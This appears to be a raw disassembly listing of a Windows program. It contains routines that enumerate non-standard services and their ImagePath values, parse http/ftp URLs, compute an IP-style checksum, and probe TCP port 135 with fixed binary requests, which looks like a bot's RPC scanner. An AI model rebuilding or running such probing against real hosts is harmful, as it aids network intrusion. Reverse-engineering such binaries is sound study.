		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 29007AAh
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44432C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_444314
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28E0000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	near ptr 2880B1Ah
		nop
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB54, eax
		mov	eax, offset dword_50BB54
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp
		push	esi
		call	edi
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444400 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444400 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444400 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DC8
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E3C
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E14
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E28
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
